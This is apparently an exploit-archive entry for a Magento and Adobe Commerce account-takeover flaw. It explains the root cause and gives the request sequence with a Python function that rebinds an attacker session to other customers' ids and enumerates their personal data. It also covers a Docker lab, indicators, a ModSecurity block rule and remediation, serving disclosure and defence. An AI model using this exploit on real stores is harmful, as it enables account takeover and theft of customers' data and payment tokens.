PoC Archive PoC Archive
CVE-2026-71362 / Adobe APSB26-92 category: web CVSS 9.1 (CRITICAL) KEV EPSS 24%
Patched

Adobe Commerce / Magento Open Source Customer-Session Identity-Switch Account Takeover (CVE-2026-71362)

Published: 2026-11-27 • Researcher: dinosn (repository author); the upstream README credits researcher 0x0.eth

Target software Adobe Commerce, Adobe Commerce B2B and Magento Open Source — Magento\Customer\Controller\Account\Edit and Magento\Customer\Model\Session
Affected versions NVD ranges as published: Adobe Commerce before 2.4.4; Adobe Commerce up to and including 2.4.6; Adobe Commerce B2B before 1.3.3. The upstream lab additionally describes Commerce 2.4.4 through 2.4.9, Magento Open Source 2.4.6 through 2.4.9 and B2B 1.3.3 through 1.5.3 at the -2026-jul isolated-patch level and earlier
Status Weaponized
Severity Critical · CVSS 9.1
CVSS 9.1/10

Exploitation signals

KEV EPSS 24%

Confirmed exploited in the wild. Added to CISA KEV 2026-09-24. Federal remediation deadline 2026-09-27.

EPSS 24.0% · 98th percentile

Severity
Critical
CVE
CVE-2026-71362 / Adobe APSB26-92
Category
web
Affected product
Adobe Commerce, Adobe Commerce B2B and Magento Open Source — Magento\Customer\Controller\Account\Edit and Magento\Customer\Model\Session
Affected versions
NVD ranges as published: Adobe Commerce before 2.4.4; Adobe Commerce up to and including 2.4.6; Adobe Commerce B2B before 1.3.3. The upstream lab additionally describes Commerce 2.4.4 through 2.4.9, Magento Open Source 2.4.6 through 2.4.9 and B2B 1.3.3 through 1.5.3 at the -2026-jul isolated-patch level and earlier
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-08-15
Author / Researcherdinosn (repository author); the upstream README credits researcher 0x0.eth
CVE / AdvisoryCVE-2026-71362 / Adobe APSB26-92
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
StatusWeaponized
TagsMagento, Adobe Commerce, account takeover, mass assignment, CWE-863, session, pre-auth, PHP, e-commerce
RelatedN/A

Affected Target

FieldValue
Software / SystemAdobe Commerce, Adobe Commerce B2B and Magento Open Source — Magento\Customer\Controller\Account\Edit and Magento\Customer\Model\Session
Versions AffectedNVD ranges as published: Adobe Commerce before 2.4.4; Adobe Commerce up to and including 2.4.6; Adobe Commerce B2B before 1.3.3. The upstream lab additionally describes Commerce 2.4.4 through 2.4.9, Magento Open Source 2.4.6 through 2.4.9 and B2B 1.3.3 through 1.5.3 at the -2026-jul isolated-patch level and earlier
Language / PlatformPHP 8.3 / Magento 2.4.x on Linux; lab stack is nginx + php-fpm + MariaDB 11.4 + OpenSearch 2.19 + Redis 7
Authentication RequiredPartial — any self-registered customer account, no victim credentials and no victim interaction
Network Access RequiredYes

Summary

Adobe Commerce and Magento Open Source mishandle the customer form data that a failed account-edit submission leaves behind in the session. The customer edit controller passes that array straight into a data-object populator, which copies an attacker-supplied id key onto the in-session customer object and rebinds the session to that customer id. Any self-registered attacker can therefore walk the customer id space and read other customers personal data, orders, addresses and stored payment tokens without any victim interaction. The flaw is an incorrect authorization issue (CWE-863) rated CVSS 9.1.

Vulnerability Details

Root Cause

Magento\Customer\Controller\Account\Edit::execute() reads $this->session->getCustomerFormData(true), the raw POST body that a previous failed editPost stored verbatim through Session::setCustomerFormData(). When the array is non-empty the controller calls DataObjectHelper::populateWithArray($customerDataObject, $data, CustomerInterface::class), and that helper invokes any setter that exists on the target object. Magento\Customer\Model\Data\Customer is an extensible data object rather than a form-validated model, so an id key in the array reaches CustomerInterface::setId().

The mutated object is then handed to Session::setCustomerData(), whose implementation calls setCustomerId($customer->getId()). Because Magento\Customer\Model\Session::getId() simply returns the stored customer id, overwriting customer_id alone makes isLoggedIn() true as the victim: checkCustomerId() only confirms that the customer record exists and performs no ownership, password or token check.

The APSB26-92 fix adds two independent defences in the same hunk: it clamps the submitted data with array_intersect_key() against the customer form’s allowed attributes so id never reaches a setter, and it re-pins the identity with $customerDataObject->setId($customerId) afterwards.

Attack Vector

An attacker registers an ordinary storefront account, then sends POST /customer/account/editPost with id=<victim customer id>, change_email=1 and a deliberately wrong current_password. The post fails validation and its body is cached as customer form data. A following GET /customer/account/edit consumes that data, mass-assigns the attacker-chosen id and rewrites the session’s customer id. Iterating over ids 1..N enumerates the customer table. The upstream detection guidance notes that store-code prefixes, duplicate slashes and percent-encoded forms of the endpoint must all be normalised before blocking, so signature coverage has to account for those variants.

Impact

Account takeover of any customer record, without credentials or user interaction. The attacker session resolves as the victim everywhere the storefront reads getCustomerId() — dashboard, order history, address book, newsletter subscriptions and the section/load endpoint — exposing personally identifiable information, order history, saved addresses and stored payment (vault) tokens. Because ids are sequential, the primitive enumerates the entire customer base. Adobe rates confidentiality and integrity impact High and availability impact None.

Environment / Lab Setup

Output
OS:          Linux host with Docker Engine + Docker Compose v2
Target:      Magento Open Source 2.4.9 source install in Docker
             (nginx 1.27, php:8.3-fpm-bookworm, mariadb:11.4,
              opensearch 2.19, redis:7)
Attacker:    Python 3.10+ with requests (exploit/requirements.txt)
Resources:   ~6 GB RAM and ~5 GB disk free; first boot installs Magento (15-40 min)
Ports:       storefront published on http://127.0.0.1:8080/
             admin at /admin (admin / Admin123! by default)

Setup Steps

Shell script
1
2
3
4
5
6
7
git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab

make up      # build + start the stack; the php entrypoint clones
             # magento/magento2, runs composer install and setup:install
make wait    # block until the storefront returns HTTP 200
make exploit # run the PoC against http://127.0.0.1:8080

The repository does not require Adobe Marketplace credentials: Magento is cloned from public GitHub and Composer dependencies are installed from public package sources. Keep MAGENTO_HOST / HOST_PORT in .env equal to the URL used by the PoC, because Magento pins session cookies to the configured base URL.

Proof of Concept

Step-by-Step Reproduction

  1. Start the disposable store — make up builds the PHP image and starts the five-container stack. The php entrypoint clones Magento 2.4.9, installs dependencies, runs setup:install and disables full-page cache so the scripted PoC always receives a session-matched form key.
  2. Wait for install — make wait polls until the storefront answers HTTP 200. First boot takes 15-40 minutes.
  3. Run the PoC — make exploit registers a throwaway attacker, registers a victim customer, then for each customer id sends a failing editPost carrying id=<n> and consumes it with GET /customer/account/edit.
  4. Confirm the primitive — the PoC reads the identity the attacker cookie now resolves to and asserts that the freshly created victim’s first name and email are reachable.
  5. Target one id — python3 exploit/poc.py --victim-id 1 skips enumeration and hijacks a single customer id, printing the leaked name, last name and email.
  6. A/B/A negative control — make patch installs Adobe’s official APSB26-92 module-customer fix and the PoC must fail; make unpatch restores the vulnerable blob and the PoC must take over again. Toggling only that one file is the oracle that the hunk is the bug.
  7. Manual reproduction (no Python) — the upstream README documents a three-request curl flow: register the attacker, POST editPost with id=1, change_email=1 and current_password=wrong, then GET /customer/account/edit and observe the victim’s first name and email in the returned form.

Exploit Code

See exploit/poc.py — the full PoC with the PII enumeration oracle; the lab wiring is in docker-compose.yml, php/entrypoint.sh and Makefile. The vulnerable and patched controller versions are in patch/Edit.vulnerable.php and patch/Edit.patched.php.

Core of the identity switch:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def switch_to(atk, base, atk_email, victim_id):
    """Rebind the attacker's session to customer_id=victim_id via the vulnerability."""
    fk = form_key(atk, base, "/customer/account/edit")
    atk.post(base + "/customer/account/editPost", data={
        "form_key": fk,
        "id": str(victim_id),                       # <-- malicious mass-assigned key
        "change_email": "1",
        "current_password": "wrong-password-forces-the-exception",
        "email": atk_email, "firstname": "Mallory", "lastname": "Attacker",
    }, timeout=90, allow_redirects=False)
    atk.get(base + "/customer/account/edit", timeout=90, allow_redirects=False)

Expected Output

Output
[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM...' email='victim...@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
      customer_id=1   -> VICTIM... Target  <victim...@lab.test>
      ...

================= RESULT =================
  attacker started as : 'Mallory'
  customers read via the switch primitive (id, name, email):
    - 1: VICTIM... <victim...@lab.test>

  >>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM...) and read
      every enumerated account's PII with only self-registration.

Detection & Indicators of Compromise

Output
POST /customer/account/editPost HTTP/1.1  302
GET  /customer/account/edit HTTP/1.1      200

id=1&change_email=1&current_password=...&form_key=...
customer_group_id=...
  • Sessions whose customer_id differs from the id established at login, or whose stored customer_form_data contains an id element.
  • A customer_id change that is not accompanied by the customer_login / customer_data_object_login events and regenerateId() performed by Session::setCustomerDataAsLoggedIn().
  • Magento writes nothing to var/log on the successful path; the only native trace is the preceding InputException or InvalidEmailOrPasswordException, indistinguishable from a customer typo.

ModSecurity / Coraza rule (from docs/DETECTION.md):

Output
SecRule REQUEST_METHOD "@streq POST" \
  "phase:2,deny,status:403,log,msg:'APSB26-92: customer account mass assignment',chain"
  SecRule REQUEST_URI "@rx customer[^a-z]*account[^a-z]*(edit|create)[^a-z]*post" \
    "t:urlDecodeUni,t:normalizePath,t:lowercase,chain"
    SecRule ARGS_POST_NAMES "@rx ^(id|customer_group_id)$" "t:lowercase"

Remediation

ActionDetail
PatchApply the Adobe APSB26-92 August-2026 isolated patch for the deployed branch (24Xp-2026-08-001-CE). Adobe publishes the patch registry and raw diffs at https://repo.magento.com/patch/patch-registry.json; no Composer package or git tag was published, so composer update does not pull the fix
WorkaroundBlock POST requests to customer/account/editPost and customer/account/createPost that carry an id or customer_group_id parameter at the WAF, normalising URL encoding, duplicate slashes and store-code prefixes first
Config HardeningReview whether open customer self-registration is required; enforce customer-account confirmation and rate limiting on account creation and edit endpoints, and monitor for the identity-switch access-log pattern above

References

Notes

Auto-prepared on 2026-11-27 from the batch-1 KEV review queue. Verdict: ingested as a genuine PoC — the repository ships a runnable Docker lab that installs real upstream Magento Open Source and a Python exploit that performs the id mass-assignment against the live storefront, plus an A/B/A negative control against Adobe’s official fix. The archived code was not executed during review, so the demonstrated success is the upstream author’s claim; the lab also requires a 15-40 minute first boot and roughly 6 GB of RAM.

Licensed MIT (copyright 2026 dinosn). The upstream patch/official-APSB26-92-module-customer.patch diff is not copied into this archive because of the archive file-extension policy; its content is represented by patch/Edit.vulnerable.php, patch/Edit.patched.php and docs/ROOTCAUSE.md. The lab’s scripts/patch.sh and scripts/unpatch.sh rewrite the app/code/Magento/Customer/... copy created by the git-source install while the official diff header targets the vendor/magento/module-customer/... path, so patch application depends on the install layout; the patch scripts themselves were not copied. Enumeration is limited to low sequential ids on the disposable lab store.